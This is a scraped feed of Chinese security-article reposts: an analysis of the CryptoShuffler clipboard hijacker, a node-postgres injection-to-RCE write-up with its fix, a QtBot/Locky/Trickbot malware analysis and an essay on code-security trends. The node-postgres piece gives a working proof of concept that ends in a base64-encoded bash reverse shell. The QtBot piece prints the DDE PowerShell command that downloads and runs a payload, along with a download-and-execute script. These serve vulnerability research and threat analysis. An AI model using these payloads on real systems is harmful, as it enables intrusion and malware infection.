挖矿软件的作者想一夜暴富是极为罕见的事情。除了一些特例以外,在整个木马运行周期内,攻击者所使用的钱包地址通常只包含价值50-100美元的密币。然而,某些人不想重复这条荆棘之路,他们会选择其他“旁门左道”。CryptoShuffler木马的作者正是其中一份子。

卡巴斯基实验室产品将该木马标记为Trojan-Banker.Win32.CryptoShuffler.gen,样本的MD5值为0ad946c351af8b53eac06c9b8526f8e4。

CryptoShuffler的核心功能为:木马不会浪费时间用处理器来挖矿,它会直接替换剪贴板中的发送方地址!我们曾经在WebMoney及比特币(Bitcoin)案例中看到过类型情况,但这款恶意软件的目标是所有常见的加密货币。

与许多木马刚开始的流程一样,这款木马会把自己写入注册表中,完成自启动目标:


【技术分享】区块链轶事:尊严荣耀与理性投资
【技术分享】区块链轶事:尊严荣耀与理性投资

在该木马的后续版本中,这个流程稍微有些不同:如果木马模块使用动态加载库方式实现,那么它就会使用rundll32这个系统应用实现自启动。被调用的程序入口以及相关库的主函数为call_directx_9。


【技术分享】区块链轶事:尊严荣耀与理性投资
【技术分享】区块链轶事:尊严荣耀与理性投资

木马会创建一个执行线程,在该线程中维护自启动方式(如上图所示)。


【技术分享】区块链轶事:尊严荣耀与理性投资
【技术分享】区块链轶事:尊严荣耀与理性投资

木马使用OpenClipboard\GetClipboardData\SetClipboardData这几个API函数完成替换操作。


【技术分享】区块链轶事:尊严荣耀与理性投资
【技术分享】区块链轶事:尊严荣耀与理性投资

木马使用正则表达式搜索剪贴板中的字符串是否包含对应的钱包地址。常见的大多数密币钱包地址都会以某些字符串开头,并且钱包地址的长度也为固定长度,因此对应的正则表达式也非常简单。比如,比特币钱包地址很容易识别,这类地址的起始数字为“1”或者“3”.


【技术分享】区块链轶事:尊严荣耀与理性投资
【技术分享】区块链轶事:尊严荣耀与理性投资

木马文件中包含与各种密币对应的一些钱包地址,主要包括如下地址:


【技术分享】区块链轶事:尊严荣耀与理性投资
【技术分享】区块链轶事:尊严荣耀与理性投资

【技术分享】区块链轶事:尊严荣耀与理性投资
【技术分享】区块链轶事:尊严荣耀与理性投资

大量金钱从用户的比特币钱包流入网络犯罪分子的口袋:在本文成稿时,这些地址中大约包含23个比特币,截至10月底,这些比特币市值约14万美元。其他钱包中包含的钱数各不相同,从数十到数千美元不等。


【技术分享】区块链轶事:尊严荣耀与理性投资
【技术分享】区块链轶事:尊严荣耀与理性投资

这款恶意软件是“理性”投资的完美典范,它的动作非常简单却行之有效,这个过程没有连接到任何矿池、没有出现网络交互、不会给处理器带来可疑的负载。


样本MD5值

以下为MD5值:
095536CA531AE11A218789CF297E71ED 14461D5EA29B26BB88ABF79A36C1E449 1A05F51212DEA00C15B61E9C7B7E647B 1E785429526CC2621BAF8BB05ED17D86 2028383D63244013AA2F9366211E8682 25BF6A132AAE35A9D99E23794A41765F 39569EF2C295D1392C3BC53E70BCF158 50E52DBF0E78FCDDBC42657ED0661A3E 6EB7202BB156E6D90D4931054F9E3439 7AE273CD2243C4AFCC52FDA6BF1C2833 7EC256D0470B0755C952DB122C6BDD0B 80DF8640893E2D7CCD6F66FFF6216016 AA46F95F25C764A96F0FB3C75E1159F8 B7ADC8699CDC02D0AB2D1BB8BE1847F4 D45B0A257F8A0710C7B27980DE22616E D9A2CD869152F24B1A5294A1C82B7E85


【技术分享】区块链轶事:尊严荣耀与理性投资
【技术分享】区块链轶事:尊严荣耀与理性投资
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://securelist.com/tales-from-the-blockchain/82971/

【技术分享】node.js + postgres 从注入到Getshell

$
0
0
【技术分享】node.js + postgres 从注入到Getshell

2017-11-06 14:40:12
阅读:82次
点赞(0)
收藏
来源: leavesongs.com






【技术分享】node.js + postgres 从注入到Getshell

前言

(最近你们可能会看到我发很多陈年漏洞的分析,其实这些漏洞刚出来我就想写,不过是没时间,拖延拖延,但该做的事迟早要做的,共勉)

Postgres是现在用的比较多的数据库,包括我自己的博客,数据库都选择使用Postgres,其优点我就不展开说了。node-postgres是node中连接pg数据库的客户端,其中出现过一个代码执行漏洞,非常典型,可以拿出来讲一讲。


0x01 Postgres 协议分析

碳基体妹纸曾经分析过postgres的认证协议,显然pg的交互过程其实就是简单的TCP数据包的交互过程,文档中列出了所有数据报文。

其中,我们观察到,pg的通信,其实就是一些预定的message交换的过程。比如,pg返回给客户端的有一种报文叫“RowDescription”,作用是返回每一列(row)的所有字段名(field name)。客户端拿到这个message,解析出其中的内容,即可确定字段名:


【技术分享】node.js + postgres 从注入到Getshell

我们可以抓包试一下,关闭服务端SSL,执行SELECT 'phithon' AS "name",可见客户端发送的报文头是Simple Query,内容就是我执行的这条SQL语句:


【技术分享】node.js + postgres 从注入到Getshell

返回包分为4个message,分别是T/D/C/Z,查看文档可知,分别是“Row description”、“Data row”、“Command completion”、“Ready for query”:


【技术分享】node.js + postgres 从注入到Getshell

这四者意义如下:

1.“Row description” 字段及其名字,比如上图中有一个字段,名为“name”

2.“Data row” 值,上图中值为“70686974686f6e”,其实就是“phithon”

3.“Command completion” 用来标志执行的语句类型与相关行数,比如上图中,我们执行的是select语句,返回1行数据,所以值是“SELECT 1”

4.“Ready for query” 告诉客户端,可以发送下一条语句了

至此,我们简单分析了一下postgresql的通信过程。明白了这一点,后面的代码执行漏洞,也由此拉开序幕。


0x02 漏洞触发点

安装node-postgres的7.1.0版本:npm install pg@7.1.0。在node_modules/pg/lib/connection.js可以找到连接数据库的源码:


【技术分享】node.js + postgres 从注入到Getshell

可见,当this._reader.header等于"T"的时候,就进入parseT方法。0x01中介绍过T是什么,T就是“Row description”,表示返回数据的字段数及其名字。比如我执行了SELECT * FROM "user",pg数据库需要告诉客户端user这个表究竟有哪些字段,parseT方法就是用来获取这个字段名的。

parseT中触发了rowDescription消息,我们看看在哪里接受这个事件:


【技术分享】node.js + postgres 从注入到Getshell

在client.js中接受了rowDescription事件,并调用了query.js中的handleRowDescription方法,handleRowDescription方法中执行this._result.addFields(msg.fields)语句,并将所有字段传入其中。

跟进addFields方法:


【技术分享】node.js + postgres 从注入到Getshell

addFields方法中将所有字段经过inlineParser函数处理,处理完后得到结果ctorBody,传入了Function类的最后一个参数。

熟悉XSS漏洞的同学对“Function”这个类( https://developer.mozilla.org/en-US/docs/Web/javascript/Reference/Global_Objects/Function )应该不陌生了,在浏览器中我们可以用Function+任意字符串创造一个函数并执行:


【技术分享】node.js + postgres 从注入到Getshell

其效果其实和eval差不多,特别类似php中的create_function。那么,Function的最后一个参数(也就是函数体)如果被用户控制,将会创造一个存在漏洞的函数。在前端是XSS漏洞,在后端则是代码执行漏洞。

那么,ctorBody是否可以被用户控制呢?


0x03 常见BUG:转义不全导致单引号逃逸

ctorBody是经过inlineParser函数处理的,看看这个函数代码:


【技术分享】node.js + postgres 从注入到Getshell

可见这里是存在字符串拼接,fieldName即为我前面说的“字段名”。虽然存在字符串拼接,但这里单引号'被转义成\':fieldName.replace(/'/g, "\\'")。我们在注释中也能看到开发者意识到了单引号需要“escaped”。

但显然,只转义单引号,我们可以通过反斜线\来绕过限制:

\' ==> \\'

这是一个比较普遍的BUG,开发者知道需要将单引号前面增加反斜线来转义单引号,但是却忘了我们也可以通过在这二者前面增加一个反斜线来转义新增加的转义符。所以,我们尝试执行如下SQL语句:

sql=`SELECT1AS"\\'+console.log(process.env)]=null;//"` constres=awaitclient.query(sql)

这个SQL语句其实就很简单,因为最后需要控制fieldName,所以我们需要用到AS语句来构造字段名。

动态运行后,在Function的位置下断点,我们可以看到最终传入Function类的函数体:


【技术分享】node.js + postgres 从注入到Getshell

可见,ctorBody的值为:

this['\\'+console.log(process.env)]=null;//']=rowData[0]==null?null:parsers[0](rowData[0]);

我逃逸了单引号,并构造了一个合法的JavaScript代码。最后,console.log(process.env)在数据被读取的时候执行,环境变量process.env被输出:


【技术分享】node.js + postgres 从注入到Getshell

0x04 实战利用

那么,在实战中,这个漏洞如何利用呢?

首先,因为可控点出现在数据库字段名的位置,正常情况下字段名显然不可能被控制。所以,我们首先需要控制数据库或者SQL语句,比如存在SQL注入漏洞的情况下。

所以我编写了一个简单的存在注入的程序:


【技术分享】node.js + postgres 从注入到Getshell

正常情况下,传入id=1获得第一条数据:


【技术分享】node.js + postgres 从注入到Getshell

可见,这里id是存在SQL注入漏洞的。那么,我们怎么通过SQL注入控制字段名?

一般来说,这种WHERE后的注入,我们已经无法控制字段名了。即使通过如SELECT * FROM "user" WHERE id=-1 UNION SELECT 1,2,3 AS "\\'+console.log(process.env)]=null;//",第二个SELECT后的字段名也不会被PG返回,因为字段名已经被第一个SELECT定死。

但是node-postgres是支持多句执行的,显然我们可以直接闭合第一个SQL语句,在第二个SQL语句中编写POC代码:


【技术分享】node.js + postgres 从注入到Getshell

虽然返回了500错误,但显然命令已然执行成功,环境变量被输出在控制台:


【技术分享】node.js + postgres 从注入到Getshell

在vulhub搭建了环境,实战中遇到了一些蛋疼的问题:

单双引号都不能正常使用,我们可以使用es6中的反引号

Function环境下没有require函数,不能获得child_process模块,我们可以通过使用process.mainModule.constructor._load来代替require。

一个fieldName只能有64位长度,所以我们通过多个fieldName拼接来完成利用

最后构造出如下POC:

SELECT1AS"\']=0;require=process.mainModule.constructor._load;/*",2AS"*/p=require(`child_process`);/*",3AS"*/p.exec(`echoYmFzaCAtaSA+JiAvZGV2L3Rj`+/*",4AS"*/`cC8xNzIuMTkuMC4xLzIxIDA+JjE=|base64-d|bash`)//"

发送数据包:


【技术分享】node.js + postgres 从注入到Getshell

成功反弹shell:


【技术分享】node.js + postgres 从注入到Getshell

0x05 漏洞修复

官方随后发布了漏洞通知: https://node-postgres.com/announcements#2017-08-12-code-execution-vulnerability 以及修复方案: https://github.com/brianc/node-postgres/blob/884e21e/lib/result.js#L86

可见,最新版中将fieldName.replace(/'/g, "\\'")修改为escape(fieldName),而escape函数来自这个库:https://github.com/joliss/js-string-escape ,其转义了大部分可能出现问题的字符。



【技术分享】node.js + postgres 从注入到Getshell
【技术分享】node.js + postgres 从注入到Getshell
本文转载自 leavesongs.com
原文链接:https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html

【技术分享】网络犯罪分子正在使用QtBot来传播Trickbot以及Locky

$
0
0
【技术分享】网络犯罪分子正在使用QtBot来传播Trickbot以及Locky

2017-11-06 13:59:42

阅读:705次
点赞(0)
收藏
来源: paloaltonetworks.com





【技术分享】网络犯罪分子正在使用QtBot来传播Trickbot以及Locky

作者:WisFree





【技术分享】网络犯罪分子正在使用QtBot来传播Trickbot以及Locky

译者:WisFree

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


介绍

很多共享垃圾邮件活动的主要目的就是为了传播恶意软件,其中最常见的就是Locky勒索软件以及Trickbot木马了。很多恶意软件研究专家都认为,这类恶意网络活动的Payload都是基于地理位置来选择攻击目标的。在此之前,这类攻击一般都是通过一种相对简单的VBA脚本控制的,这种脚本可以使用GeoIP查询服务并通过解析国家代码来确定被入侵的主机所在地理位置。在获取到这些信息之后,VBA脚本将会进入一个循环并查询国家代码,例如UK、IE、AU、GB、LU或BE等等,如果检测到了这些国家代码,脚本将会下载并执行Trickbot。如果检测失败,脚本将会下载并安装Locky。

近期,Unit42的研究人员Brad Duncan发现,Necurs垃圾邮件活动正在传播利用DDE实施感染的微软Office文档。这些恶意文档会加载一个下载器,我们将其标记为“QtBot”。QtBot会替换掉之前所介绍的那个VBA脚本,并安装一个反分析工具来保护自己。这种新型的下载器负责加载最终的Payload,即Locky或Trickbot。据了解,自2017年10月19日起,Palo Alto Networks已经发现了四百多万次单独的QtBot活动。

攻击诱饵

恶意DDE文档会作为垃圾邮件的附件来进行传播,样本如下图所示(发现于2017年10月24日):


【技术分享】网络犯罪分子正在使用QtBot来传播Trickbot以及Locky

这个恶意邮件样本中带有一个恶意文档,该文档会使用DDE来安装恶意Payload。

一般来说,这种诱饵文件的攻击成功率还是比较高的,大多数诱饵文件一般都是以“财务报表”(发票、账单或收据)或者“文件传输”(传真或扫描文件)为邮件主题的。在这种攻击活动中,攻击者需要想办法让目标用户下载并打开邮件附件,然后点击一系列对话框。我们的附件样本(b92218314ffdc450320f1d44d8a2fe163c585827d9ca3e9a00cb2ea0e27f0c9)中包含以下DDE对象:

DDEAUTOC:\\windows\\System32\\cmd.exe"/kpowershell.exe-NonI- noexit-NoP-sta$sr=(new-objectIO.StreamReader ((([Net.WebRequest]::Create('hXXp://burka.ch/JHhdg33')).GetResponse()) .GetResponseStream())).ReadToEnd();powershell.exe-e$sr"

网络流量

当用户点击了三个对话框之后,恶意Payload会发送如下图所示的HTTP GET请求。有意思的是,其中的初始命令控制服务器很可能是一个被入侵的Web主机,估计主机运行的是包含漏洞的PLESK,这一点可以从HTTP响应信息中的X-Powered-By头中了解到。


【技术分享】网络犯罪分子正在使用QtBot来传播Trickbot以及Locky

将请求中的Base64编码数据进行解码之后,我们得到了如下所示的信息:

$urls="hXXp://aurea- art[.]ru/incrHG32","hXXp://castellodimontegioco[.]com/incrHG32","hXXp: //nl.flipcapella[.]com/incrHG32","hXXp://dotecnia[.]cl/incrHG32","hXXp ://christakranzl[.]at/incrHG32" foreach($urlin$urls){ Try { Write-Host$url $fp="$env:temp\theyweare64.exe" Write-Host$fp $wc=New-ObjectSystem.Net.WebClient $wc.DownloadFile($url,$fp) Start-Process$fp break } Catch { Write-Host$_.Exception.Message } }

上述代码会一直循环运行直到找出一个可用的下载地址,当一个可用的命令控制服务器响应之后,QtBot代码(798aa42748dcb1078824c2027cf6a0d151c14e945cb902382fcd9ae646bfa120)将会以明文形式下载。下图中显示的是QtBot下载器所下载的恶意代码:


【技术分享】网络犯罪分子正在使用QtBot来传播Trickbot以及Locky
QtBot代码下载完成之后,Payload将会使用PowerShell来执行它(代码存储在%temp%目录中)。当QtBot开始运行之后,它首先会通过一个HTTP POST请求来与合法域名ds.download.windowsupdate[.]com进行连接,以此来进行网络检测。
【技术分享】网络犯罪分子正在使用QtBot来传播Trickbot以及Locky

最后,链接检测通过之后,QtBot将会使用一个HTTP POST请求(带有RC4加密的Payload)来与其真正的命令控制服务器建立连接,并等待响应(响应信息使用相同的RC4密钥进行加密)。

在分析网络流量的过程中,我们所使用的QtBot样本(d97be402740f6a0fc70c90751f499943bf26f7c00791d46432889f1bedf9dbd2)的命令控制服务器仍然是活跃的,并且还托管着基于地理位置的Payload。流量信息如下所示:


【技术分享】网络犯罪分子正在使用QtBot来传播Trickbot以及Locky

恶意程序会将数据回传给命令控制服务器,并确定目标用户的地理位置。由于我们当时使用的是UK地区的节点,因此它下载的是Trickbot。我们接收到的是经过加密的Trickbot Payload。我们对请求中的Trickbot Payload(4fcee2679cc65585cc1c1c7baa020ec262a2b7fb9b8dc7529a8f73fab029afad)进行解密之后得到了如下图所示的信息:


【技术分享】网络犯罪分子正在使用QtBot来传播Trickbot以及Locky

在下面的这张图片中,我们可以看到一段主机POST数据回传给命令控制服务器,并接收到了一段与之前有些许不同的响应信息。这是因为主机所在的地理位置与Trickbot的传播定位不一样所导致的,因此我们这一次(地理位置:CA节点)所得到的应该是Locky Payload。


【技术分享】网络犯罪分子正在使用QtBot来传播Trickbot以及Locky

下图显示的是另一种不同的Payload,因为我们这一次使用的是不同的地理位置节点。这个Payload是一段经过加密的Locky代码,解密后的代码为9d2ce15fd9112d52fa09c543527ef0b5bf07eb4c07794931c5768e403c167d49。


【技术分享】网络犯罪分子正在使用QtBot来传播Trickbot以及Locky

分析完了Payload的传播过程,接下来我们来分析一下QtBot。

QtBot分析

QtBot下载器是一个Windows可执行文件,这个Payload会使用一些常见的技术来注入到msiexec.exe之中。接下来,Payload会解密第二阶段的shellcode并将其注入一个新生成的svchost.exe进程之中,而这个svchost.exe则是最终Payload的处理器。

当QtBot首次执行时,会生成一个新的线程来进行进程扫描。这种进程扫描的作用是为了识别并查找安全分析工具,如果找到了,则立刻终止恶意软件的执行。这种检测是通过代码循环实现的,并且会定时运行。下面给出的哈希值可以用来检测正在运行中的进程:

0x171AF567 0xB713B22E 0x59F3573F-wireshark.exe 0xA9275283-peid.exe 0x2C533BA3 0xB1FDD418-x64dbg.exe 0xA7B71C08 0x5BBA66D5 0xFD62D761 0xB01C9DA9-cffexplorer.exe 0xE7AC4C20 0x8718A391-procexp.exe 0x817D523A-ollydbg.exe 0x9A65393D-lordpe.exe 0x4B1B38C6-processhacker.exe 0xBD46C402 0x72472F0B-tcpview.exe 0x151648CD 0x4A694A06-vboxservice.exe 0x956511A3-sbiesvc.exe 0x09D19890-vmtoolsd.exe 0x70383CD2 0x40C795F0-petools.exe 0x6D2607D8-exeinfope.exe 0x4D9803BC-vboxtray.exe 0x29FBEE3C-windbg.exe 0x0872D0FC 0x28F7E9A8-idaq.exe 0x3D0598D0-x32dbg.exe 0x1D141E5D 0xFCB2810C-python.exe 0x2AA827DB 0xCA9B2CDE 0x75F4F636-procmon.exe

接下来,Payload会使用注册表键“HKCU\Software\QtProject”来随机生成数字互斥体(Mutex)。在此之前,这个注册表键主要应用在合法的Qt框架之中,其本身并不具备恶意性。

当互斥体和注册表字符串创建成功之后,恶意软件会使用RC4以及一个硬编码密钥来解密下面这端代码所生成的数字字符串(字符串来自于798aa42748dcb1078824c2027cf6a0d151c14e945cb902382fcd9ae646bfa120):

cmd.exe Software\Microsoft\Windows\CurrentVersion boom http://toundlefa.net/ Software\QtProject msiexec.exe svchost.exe /cstart%s&&exit cmd.exe \System32\CompMgmtLauncher.exe runas Software\Classes\mscfile \shell\open\command tmp_file Software\Microsoft\Windows\CurrentVersion \Policies\Explorer \Run CheckUpdate POST Content-Type:application/octet-stream Connection:close DZCW 6VK3 regsvr32.exe http://ds.download.windowsupdate.com/ {"rep":0,"bid":"%s","ver":%d,"cam":"%s","cis":%d,"lvl":%d,"adm":%d,"bit":%d,"osv":%d,"osb":%d,"tmt":%d} {"rep":1,"bid":"%s","tid":"%s","res":%d}

在整个攻击活动中,这个硬编码RC4密钥(0x7A3C5B7CB7FCE715702AA0F4F4EC0935E759FD3B7B6BCC70159D61CF42814B81)需要重复使用,它负责对网络通信数据进行加密和解密。

QtBot还包含一个检测功能,它可以检测前苏联国家用户的键盘布局,如果找到的话,则立刻终止恶意软件的执行。负责这个过程的代码如下所示:


【技术分享】网络犯罪分子正在使用QtBot来传播Trickbot以及Locky

为了实现持久化感染,恶意软件还会生成一个临时文件(随机命名)并将其存储在%APPDATA%\Local\Temp\目录下一个随机命名的文件夹之中。

随机生成的文件夹名称值存储在注册表键“HKCU\Software\QtProject”的“0FAD2D5E”值之中。除此之外,恶意软件还会在这个键中存储其他额外的加密数据:

“0FAD2D5E” –随机值+ Unicode临时文件名+数据块长度

“0FAD2D5EDZCW” – RC4加密的C2域名

正常的恶意软件通信会使用如下所示的格式化字符串:

{"rep":0,"bid":"%s","ver":%d,"cam":"%s","cis":%d,"lvl":%d,"adm":%d,"bit":%d,"osv":%d,"osb":%d,"tmt":%d}

字符串填充完数据之后的情况大致如下所示:

{"rep":0,"bid":"LD0fJMblnCbrDT8Mvma4Rg==","ver":256,"cam":"nightboom","cis":0,"lvl":1228

8,"adm":1,"bit":1,"osv":1537,"osb":7601,"tmt":30}

其中有些值的真实用意我们现在还尚不清楚,但我们可以大致猜到它们的意思:

“rep” –重复尝试与单一主机通信;

“bid” –代码验证,这个值存储在注册表值“0FAD2D5E”之中,并且使用了RC4加密;

“ver” –估计是恶意软件版本信息;

“cam” –活动名;

“cis” –未知的硬编码值;

“lvl” –系统完整性等级;

“adm” –判断恶意软件是否拥有管理员权限;

“bit” –未知;

“osv” –操作系统版本号;

“osb” –操作系统构建号;

“tmt” – timeout,单位为s;

总结

这种针对特定地理位置用户的恶意软件在此之前也有很多,所以这也并不算什么新鲜事儿了。本文所分析的恶意软件样本在一个单独的垃圾邮件活动中同时结合使用了两种完全不同的恶意软件家族,这也是一种非常新颖的技术策略。除此之外,QtBot还采用了多种机制来保护自己,而且在它的决策树中攻击目标范围都是已经确定了的,并且还自带了多种反分析包来增加分析和检测的难度。

Palo Alto Networks已经发现了超过四百万次与QtBot有关的攻击事件,广大用户可以使用Wildfire来保护自己免受这种威胁的侵害。

注:我们需要感谢Proofpoint的研究专家,他们是第一个发现这种安全威胁的研究人员,并其识别为“QtLoader”。除此之外,QtBot与之前的Andromeda非常相似,它们不仅都可以对运行中的进程哈希进行检测,而且还引入了类似的反分析方法,更重要的是,它们的恶意代码注入目标都是msiexec.exe。

入侵威胁指标IoC

798aa42748dcb1078824c2027cf6a0d151c14e945cb902382fcd9ae646bfa120 – QtBot

bb92218314ffdc450320f1d44d8a2fe163c585827d9ca3e9a00cb2ea0e27f0c9 – DDE Dropper

9d2ce15fd9112d52fa09c543527ef0b5bf07eb4c07794931c5768e403c167d49 – Locky

4fcee2679cc65585cc1c1c7baa020ec262a2b7fb9b8dc7529a8f73fab029afad – Trickbot

hXXp://hobystube[.]net – Locky下载地址 hXXp://kengray[.]com – Trickbot下载地址 hXXp://fetchstats[.]net – QtBot C2 hXXp://toundlefa[.]net – QtBot C2 hXXp://aurea-art[.]ru/incrHG32 hXXp://castellodimontegioco[.]com/incrHG32 hXXp://nl.flipcapella[.]com/incrHG32 hXXp://dotecnia[.]cl/incrHG32 hXXp://christakranzl[.]at/incrHG32 hXXp://burka[.]ch/JHhdg33 hXXp://celebrityonline[.]cz


【技术分享】网络犯罪分子正在使用QtBot来传播Trickbot以及Locky
【技术分享】网络犯罪分子正在使用QtBot来传播Trickbot以及Locky
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://researchcenter.paloaltonetworks.com/2017/11/unit42-everybody-gets-one-qtbot-used-distribute-trickbot-locky/

【技术分享】代码安全保障技术趋势前瞻

$
0
0
【技术分享】代码安全保障技术趋势前瞻

2017-11-06 20:04:27

阅读:220次
点赞(0)
收藏
来源: 安全客





【技术分享】代码安全保障技术趋势前瞻

作者:360代码卫士





【技术分享】代码安全保障技术趋势前瞻

应用安全测试

近年来,由于网络边界愈发模糊、新型攻击手段层出不穷,软件安全的重要性也愈加突显,越来越不容忽视。应用安全测试(Application Security Testing,简称AST)作为保障软件安全的核心手段,自然也取得了快速发展。Gartner在2017年6月的《全球信息安全预测分析报告》中指出:“预计2021年之前,应用安全测试领域的市场将保持14.3%以上的综合年度增长率(CAGR),这是所有信息安全环节中增长率最高的部分” 。

代码作为构建各种应用、系统的基础组件,其安全问题是软件安全的根源性问题。因此,AST领域中有多类技术都可以应用在代码安全保障中,例如静态应用安全测试技术(Static Application Security Testing,简称SAST)技术、动态应用安全测试技术(Dynamic Application Security Testing,简称DAST)技术、软件成分分析(Software Component Analysis,简称SCA)技术等。

随着开发模式的不断演进和信息安全趋势的变化,对代码安全保障技术提出了规模化、自动化、智能化的要求,从而实现软件的快速、安全、自动的发布。未来数年中,代码安全保障技术将会走向何方,以下是我们根据该领域现状分析归纳出的几项趋势和技术发展方向。



人工智能与安全

由万物智能互联而产生的数据洪流,催生了当今人工智能的飞速发展。作为分析、挖掘数据价值的创新方法,人工智能可以充分利用、释放数据的价值,从而带来前所未有的增值效应。随着软件的复杂度不断提升,软件的代码数量也在迅速增加,从代码中抽象出的数据也越来越多,同时安全测试往往又是对复杂数据的分析。如此看来,代码安全对于人工智能而言,似乎是一个完美的应用场景。

虽然利用人工智能技术辅助安全和风险管理者进行代码安全治理的路线目前尚不十分明晰。但是,一些世界顶级的安全厂商,已经开始使用人工智能在代码安全领域开展一些研究和尝试。例如对于SAST产品而言,虽然其应用十分广泛、价值不可否认,但是其误报率较高的问题一直受到业界的诟病。引入人工智能的技术后,可以使用SAST工具的结果作为输入,以训练缺陷模式从而发现误报;然后系统会输出某个置信水平内的误报列表(或排除误报的列表);为了进一步的改进,可以通过结果的审计,识别出新的误报并反馈到训练集中,计算出新的模型。随着这种算法的迭代进行,新的信息不断被纳入到预测算法中,以期持续的改进。IBM的SAST产品提供了针对扫描结果的智能查找分析(IFA),以消除误报,噪音或利用概率低的结果。360代码卫士团队也在进行将人工智能技术应用于代码安全分析的研究,以期在其产品的后续新版本中提供相应的功能。


【技术分享】代码安全保障技术趋势前瞻


虽然人工智能、机器学习乃至深度学习作为近年来大热的技术方向,让人难以区分其价值的真实成分和炒作成分。但是不得不承认,人工智能技术和传统代码安全技术的结合,是AST领域的重要发展趋势之一。



基于人工智能的代码安全分析

Forrester Research 2017年的一份研究则表明,为了加速应用的开发,开发人员常使用开源组件作为应用基础,这导致80%-90%的代码来自于开源组件。而VeraCode在《软件安全报告(第7版)》中指出,大约97%的Java应用程序中至少包含一个存在已知漏洞的组件。由此可见,随着开源组件在现代软件中使用比率的持续增长,以及日益严峻的组件安全问题,开源(或第三方)组件的发现和管理已经成为AST解决方案中关键性甚至强制性的功能之一。



【技术分享】代码安全保障技术趋势前瞻

软件代码成分分析(SCA)技术是指通过对软件的组成进行分析,识别出软件中使用的开源和第三方组件(如底层库、框架等等),从而进一步发现开源安全风险和第三方组件的漏洞。通常,SCA的检测目标可以是源代码、字节码、二进制文件、可执行文件等的一种或几种。除了在安全测试阶段采用SCA技术对软件进行分析以外,SCA技术还可以集成到MSVC、Eclipse等IDE或SVN、Git等版本控制系统,从而实现对开发者使用开源组件的控制。

SCA技术和其他AST技术的深入融合,也是代码安全技术发展的趋势之一。当使用单一SAST技术扫描某个项目的源代码之后,你可能会得到开发人员的反馈:“检测结果中有90%是开源代码的问题,我处理不了”。而当SAST融合了SCA技术之后,开发人员拿到的结果将是开源组件中的已知漏洞信息和实际开发代码中的SAST扫描结果。



面向DevSecOps的代码安全测试

由于敏捷开发和DevOps的开发技术趋势,传统应用安全的形态不断发生着变化。很多具体的技术路线仍然在不断演进,但是对于自动化、工具化、时间控制的要求越来越明显了。面向DevSecOps的代码安全测试,并不是一门全新的技术,但是几乎所有的传统安全测试技术,都会因为DevOps而产生变化,演化出新的产品形态。

由于开发运维的一体化,原本开发人员的一次普通Tag或Merge操作,也被赋予了更多的含义。提交代码中的安全问题,可能就意味着一次失败的发布。因此,代码安全的需求也被前置到了前所未有的程度。能够在代码编写的同时,发现代码中的安全隐患,从而在第一时间内修复,成为了DevSecOps的基本需求。因而IDE插件、轻量级的客户端快速检测模式,也成为了下一代代码安全产品的标配。

由于持续集成、持续部署在DevOps中的大量应用,自动化的、快速地代码安全测试也势在必行。因此,代码安全产品需要与Jenkins、Bamboo等持续集成系统,Bugzilla、Jira等生命周期管理系统进行集成,实现有效的自动化;同时,提供针对代码安全基线的检测,以及增量分析、审计信息携带等功能,从而在少量或没有人工参与的情况下,尽可能快速地、有效地保证软件的安全性。



交互式应用安全测试

SAST产品,通常从源代码层面对程序进行建模和模拟执行分析,但是由于缺少一些必要的运行时信息,容易产生较高的误报;DAST产品虽然能够通过攻击的方式,发现一些确实存在的安全问题,但其对应用的覆盖率很低。

交互式应用安全测试(Interactive Application Security Testing,简称IAST)技术,是解决上述问题的一个新的尝试。关于IAST,Gartner分析师给出的定义是:“IAST产品结合了DAST和SAST的技术,从而提高测试的准确率(类似于DAST对于攻击成功的确认),同时对代码的测试覆盖率达到与SAST相似的水平”。 IAST在其准确度、代码覆盖率、可扩展性等方面,有着独到之处。但又受限于它自身的技术路线,无法在所有场景中替代DAST产品。

IAST产品的解决方案通常包含两个部分:应用探针和测试服务器。应用探针会部署于被测Web应用所在的服务器,从而捕获来自于用户代码、库、框架、应用服务器、运行时环境中的安全信息,并传输给测试服务器;测试服务器会对收集来的安全数据进行分析,得出漏洞的信息进而生成报告。另外,值得一提的是,基于这种应用深度探测与分析的技术,还能够实现实时的应用层攻击的自我防护,阻断对诸如SQL注入、跨站脚本等漏洞进行的利用和攻击,这就是实时应用程序自我保护(Runtime Application Self-Protection)技术。

(本文作者:360企业安全集团代码安全事业部技术总监 章磊)



【技术分享】代码安全保障技术趋势前瞻
【技术分享】代码安全保障技术趋势前瞻
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4667.html
Viewing all 12749 articles
Browse latest View live